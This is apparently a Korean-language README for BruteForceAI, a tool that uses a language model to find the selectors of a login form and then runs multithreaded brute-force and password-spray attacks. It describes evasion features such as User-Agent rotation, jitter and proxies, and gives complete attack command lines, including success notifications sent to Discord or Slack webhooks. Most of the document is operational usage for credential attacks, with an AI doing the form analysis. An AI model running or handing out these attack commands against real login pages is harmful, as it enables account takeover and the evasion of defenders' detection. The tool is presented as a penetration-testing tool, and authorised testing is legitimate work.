🤖 BruteForceAI - AI 기반 로그인 무차별 대입 공격 도구

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🎯 소개

BruteForceAI는 대규모 언어 모델(LLM)을 통합하여 지능적인 폼 분석을 수행함으로써 전통적인 무차별 대입 공격을 혁신하는 고급 침투 테스트 도구입니다. 이 도구는 AI를 사용하여 로그인 폼 선택자를 자동으로 식별한 다음, 사람과 유사한 행동 패턴으로 정교한 멀티스레드 공격을 실행합니다.

🧠 LLM 기반 폼 분석

• 1단계 (AI 분석): LLM이 HTML 콘텐츠를 분석하여 로그인 폼 요소와 선택자를 식별합니다
• 2단계 (스마트 공격): AI가 발견한 선택자를 사용하여 지능적인 무차별 대입 공격을 실행합니다

🚀 고급 공격 기능

• 동기화된 지연을 갖춘 멀티스레드 실행
• 무차별 대입 및 비밀번호 스프레이 공격 모드
• 지터와 무작위화를 통한 사람과 유사한 타이밍
• 더 나은 탐지 회피를 위한 User-Agent 로테이션
• 웹훅 알림 (Discord, Slack, Teams, Telegram)
• SQLite 데이터베이스를 통한 포괄적인 로깅

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🌟 스타 히스토리

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✨ 기능

🔍 지능형 분석

• LLM 기반 폼 선택자 식별 (Ollama/Groq)
• 피드백 학습을 통한 자동 재시도
• 성공 검증을 위한 DOM 변경 감지
• 스마트 HTML 콘텐츠 추출

⚡ 고급 공격

• 무차별 대입 모드: 모든 사용자 이름/비밀번호 조합 시도
• 비밀번호 스프레이 모드: 각 비밀번호를 모든 사용자 이름에 대해 테스트
• 멀티스레드 실행 (1-100+ 스레드)
• 동일 사용자에 대한 시도 간 동기화된 지연

🎭 회피 기법

• 무작위 User-Agent 로테이션
• 지터를 포함한 구성 가능한 지연
• 사람과 유사한 타이밍 패턴
• 프록시 지원
• 브라우저 가시성 제어

📊 모니터링 및 알림

• 성공 시 실시간 웹훅 알림
• 포괄적인 SQLite 로깅
• 타임스탬프가 포함된 상세 출력
• 첫 번째 유효한 자격 증명 후 성공 종료
• 기존 시도 건너뛰기 (중복 방지)

🛠️ 운영 기능

• 파일로 출력 캡처
• 컬러 터미널 인터페이스
• 네트워크 오류 재시도 메커니즘
• 기존 시도 강제 재시도
• 데이터베이스 관리 도구
• mordavid.com에서 자동 업데이트 확인

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🔧 설치

사전 요구 사항

# Python 3.8 or higher
python --version

가상 환경 설정 (권장)

내장된 venv를 사용하여 종속성을 시스템 Python과 격리하세요:

# 1. Create a virtual environment
python -m venv .venv

# 2. Activate it
#   Windows (PowerShell):
.venv\Scripts\Activate.ps1
#   Windows (cmd):
.venv\Scripts\activate.bat
#   macOS / Linux:
source .venv/bin/activate

참고: python -m venv .venv 단계는 한 번만 수행하면 됩니다. 새로운 터미널 세션을 열 때마다 도구를 사용하기 전에 활성화 명령(2단계)을 다시 실행하세요. 가상 환경을 종료하려면 deactivate를 실행하세요.

종속성 설치

# Install Python packages
pip install -r requirements.txt

# Install the Playwright browser
playwright install chromium

필수 패키지:

• playwright - 브라우저 자동화
• requests - HTTP 요청
• PyYAML - 업데이트 확인을 위한 YAML 파싱

LLM 설정

옵션 1: Ollama (로컬)

# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh

# Pull recommended model
ollama pull llama3.2:3b

옵션 2: Groq (클라우드)

1. Groq Console에서 API 키 받기
2. --llm-provider groq --llm-api-key YOUR_KEY와 함께 사용

🧠 모델 선택 및 성능

제공자별 권장 모델

Ollama (로컬):

• llama3.2:3b - 기본값, 속도와 품질의 좋은 균형
• llama3.2:1b - 가장 빠름, 빠른 분석을 위한 더 작은 모델
• qwen2.5:3b - 우수한 성능의 대안

Groq (클라우드):

• llama-3.3-70b-versatile - 기본값 및 최고 - 뛰어난 품질의 최신 모델 (1회 시도)
• llama3-70b-8192 - 빠르고 신뢰할 수 있는 대안 (1회 시도)
• gemma2-9b-it - 경량 옵션, 단순한 양식에 적합 (1회 시도)
• llama-3.1-8b-instant - ⚠️ 권장하지 않음 (속도 제한 문제, 3회 이상 시도)

성능 팁

# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY

# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY

# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY

# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

📖 사용법

기본 명령어

1단계: 로그인 양식 분석

python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama

2단계: 공격 실행

python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10

명령 구조

python BruteForceAI.py <command> [options]

사용 가능한 명령어

• analyze - LLM으로 로그인 폼 분석
• attack - 브루트 포스 공격 실행
• clean-db - 데이터베이스 테이블 정리
• check-updates - 소프트웨어 업데이트 확인

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🎯 예제

1. 전체 워크플로

# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2

2. 고급 공격 구성

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 10 \
  --jitter 3 \
  --success-exit \
  --user-agents user_agents.txt \
  --verbose \
  --output results.txt

3. 웹훅 알림 사용

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --threads 10

4. 브라우저 디버깅

python BruteForceAI.py analyze \
  --urls targets.txt \
  --show-browser \
  --browser-wait 5 \
  --debug \
  --llm-provider ollama

5. 업데이트 확인

# Check for software updates
python BruteForceAI.py check-updates

# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt

버전 확인 건너뛰기

# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check

# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt

⚙️ 구성 옵션

분석 옵션

매개변수	설명	기본값
--llm-provider	LLM 제공자 (ollama/groq)	ollama
--llm-model	모델 이름	llama3.2:3b (ollama), llama-3.3-70b-versatile (groq)
--llm-api-key	Groq용 API 키	None
--ollama-url	Ollama 서버 URL	http://localhost:11434
--selector-retry	선택자 재시도 횟수	10
--force-reanalyze	강제 재분석	False

공격 옵션

매개변수	설명	기본값
--mode	공격 모드 (bruteforce/passwordspray)	bruteforce
--threads	스레드 수	1
--delay	시도 간 지연 (초)	0
--jitter	무작위 지터 (초)	0
--success-exit	첫 성공 후 중지	False
--force-retry	기존 시도 재시도	False

탐지 옵션

매개변수	설명	기본값
--dom-threshold	DOM 차이 임계값	100
--retry-attempts	네트워크 재시도 횟수	3

회피 옵션

매개변수	설명	기본값
--user-agents	User-Agent 파일	None
--proxy	프록시 서버	None
--show-browser	브라우저 창 표시	False
--browser-wait	표시 시 대기 시간	0

출력 옵션

매개변수	설명	기본값
--verbose	상세 타임스탬프	False
--debug	디버그 정보	False
--output	출력을 파일에 저장	None
--no-color	색상 비활성화	False
--database	SQLite 데이터베이스 파일 경로	bruteforce.db